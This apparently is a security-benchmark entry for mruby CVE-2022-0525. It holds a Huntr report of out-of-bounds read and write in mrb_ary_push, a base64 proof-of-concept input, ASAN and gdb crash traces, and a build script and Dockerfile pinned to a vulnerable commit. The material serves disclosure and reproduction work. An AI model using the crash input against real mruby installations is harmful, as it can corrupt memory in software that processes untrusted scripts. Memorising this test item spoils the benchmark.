Project: mruby (mruby/mruby), language: c++
Vulnerability instance: mruby.cve-2022-0525
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: Huntr
## URL: https://huntr.dev/bounties/e19e109f-acf0-4048-8ee8-1b10a870f1e9
## Description:
Description
OOB read and OOB write in mrb_ary_push.
commit : 903c5f978a2966465d8d5c6dfac55a977d134287
Proof of Concept
$ echo -ne "bAticjWSUkRPTkxZC2I9e30MWyohMCxtOjAwLG06MF09MXxbKiEwLG0wXQo=" |base64 -d > poc

# ASAN
$ ./bin/mruby ./poc
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1083503==ERROR: AddressSanitizer: SEGV on unknown address 0x60c02621407a (pc 0x7f61ffbded80 bp 0x7ffcc7e4fc60 sp 0x7ffcc7e4f3f8 T0)
==1083503==The signal is caused by a READ memory access.
    #0 0x7f61ffbded80  /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memcmp-avx2-movbe.S:182
    #1 0x435d3e in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/home/alkyne/fuzzing/mruby-asan/bin/mruby+0x435d3e)
    #2 0x4360b9 in __interceptor_memcmp (/home/alkyne/fuzzing/mruby-asan/bin/mruby+0x4360b9)
    #3 0x4d43b1 in read_irep /home/alkyne/fuzzing/mruby-asan/src/load.c:582:9
    #4 0x4d2aa9 in mrb_proc_read_irep_buf /home/alkyne/fuzzing/mruby-asan/src/load.c:621:10
    #5 0x4d333d in mrb_load_irep_buf_cxt /home/alkyne/fuzzing/mruby-asan/src/load.c:662:25
    #6 0x698007 in mrb_load_detect_file_cxt /home/alkyne/fuzzing/mruby-asan/mrbgems/mruby-compiler/core/parse.y:6945:14
    #7 0x4cf804 in main /home/alkyne/fuzzing/mruby-asan/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347:11
    #8 0x7f61ffa7e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #9 0x41d6ed in _start (/home/alkyne/fuzzing/mruby-asan/bin/mruby+0x41d6ed)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /build/glibc-eX1tMB/glibc-2.31/string/../sysdeps/x86_64/multiarch/memcmp-avx2-movbe.S:182
==1083503==ABORTING
gdb
$ gdb ./bin/mruby
gdb-peda$ r poc
Starting program: /home/alkyne/fuzzing/mruby-valgrind/bin/mruby poc

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x4c5890 (<__libc_csu_init>:   endbr64)
RCX: 0xa ('\n')
RDX: 0x0
RSI: 0x1
RDI: 0x1
RBP: 0x7fffffffcad0 --> 0x7fffffffde10 --> 0x7fffffffde70 --> 0x7fffffffdec0 --> 0x7fffffffe0c0 --> 0x7fffffffe1a0 (--> ...)
RSP: 0x7fffffffca60 --> 0x7fffffffcad0 --> 0x7fffffffde10 --> 0x7fffffffde70 --> 0x7fffffffdec0 --> 0x7fffffffe0c0 (--> ...)
RIP: 0x40db4d (<mrb_ary_push+45>:   mov    eax,DWORD PTR [rax+0x10])
R8 : 0x0
R9 : 0x1
R10: 0x4011c4 --> 0x6d797300666f6566 ('feof')
R11: 0x7ffff7c6cbe0 --> 0x57b3d0 --> 0x0
R12: 0x403850 (<_start>:    endbr64)
R13: 0x7fffffffe3b0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40db41 <mrb_ary_push+33>:  mov    rax,QWORD PTR [rbp-0x28]
   0x40db45 <mrb_ary_push+37>:  mov    QWORD PTR [rbp-0x20],rax
   0x40db49 <mrb_ary_push+41>:  mov    rax,QWORD PTR [rbp-0x20]
=> 0x40db4d <mrb_ary_push+45>:  mov    eax,DWORD PTR [rax+0x10]
   0x40db50 <mrb_ary_push+48>:  shr    eax,0xb
   0x40db53 <mrb_ary_push+51>:  and    eax,0x7
   0x40db56 <mrb_ary_push+54>:  cmp    eax,0x0
   0x40db59 <mrb_ary_push+57>:  je     0x40db7a <mrb_ary_push+90>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffca60 --> 0x7fffffffcad0 --> 0x7fffffffde10 --> 0x7fffffffde70 --> 0x7fffffffdec0 --> 0x7fffffffe0c0 (--> ...)
0008| 0x7fffffffca68 --> 0x40f3b3 (<mrb_ary_splat+179>: mov    QWORD PTR [rbp-0x8],rax)
0016| 0x7fffffffca70 --> 0x700403850
0024| 0x7fffffffca78 --> 0x41bc40 (<mrb_bob_not>:   push   rbp)
0032| 0x7fffffffca80 --> 0x0
0040| 0x7fffffffca88 --> 0x5396f8 --> 0x545d30 --> 0x545d00 --> 0x5466f0 --> 0x546630 (0x00000000005466f0)
0048| 0x7fffffffca90 --> 0x54aac8 --> 0x100000000
0056| 0x7fffffffca98 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040db4d in mrb_ary_push (mrb=0x537eb0, ary=..., elem=...) at src/array.c:497
497   mrb_int len = ARY_LEN(a);
gdb-peda$ bt
#0  0x000000000040db4d in mrb_ary_push (mrb=0x537eb0, ary=..., elem=...) at src/array.c:497
#1  0x0000000000443cff in mrb_vm_exec (mrb=0x537eb0, proc=0x566f30, pc=0x57a11a "\b\n\021\v\006\f/\f")
    at src/vm.c:2645
#2  0x000000000043a784 in mrb_vm_run (mrb=0x537eb0, proc=0x566f30, self=..., stack_keep=0x0) at src/vm.c:1128
#3  0x0000000000439761 in mrb_top_run (mrb=0x537eb0, proc=0x566f30, self=..., stack_keep=0x0)
    at src/vm.c:3051
#4  0x000000000046848f in mrb_load_exec (mrb=0x537eb0, p=0x56e3f0, c=0x56d320)
    at mrbgems/mruby-compiler/core/parse.y:6883
#5  0x00000000004687eb in mrb_load_detect_file_cxt (mrb=0x537eb0, fp=0x56d120, c=0x56d320)
    at mrbgems/mruby-compiler/core/parse.y:6926
#6  0x0000000000403dde in main (argc=0x2, argv=0x7fffffffe3b8)
    at mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:347
#7  0x00007ffff7aa80b3 in __libc_start_main (main=0x403940 <main>, argc=0x2, argv=0x7fffffffe3b8,
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe3a8)
    at ../csu/libc-start.c:308
#8  0x000000000040387e in _start ()

Relevant Links:
https://github.com/mruby/mruby

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
rake -m

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout 4c13188ea6cb0a74f43542c1b485a4aaf1d1a5be
WORKDIR $SRC/mruby
COPY build.sh $SRC/

Additional files: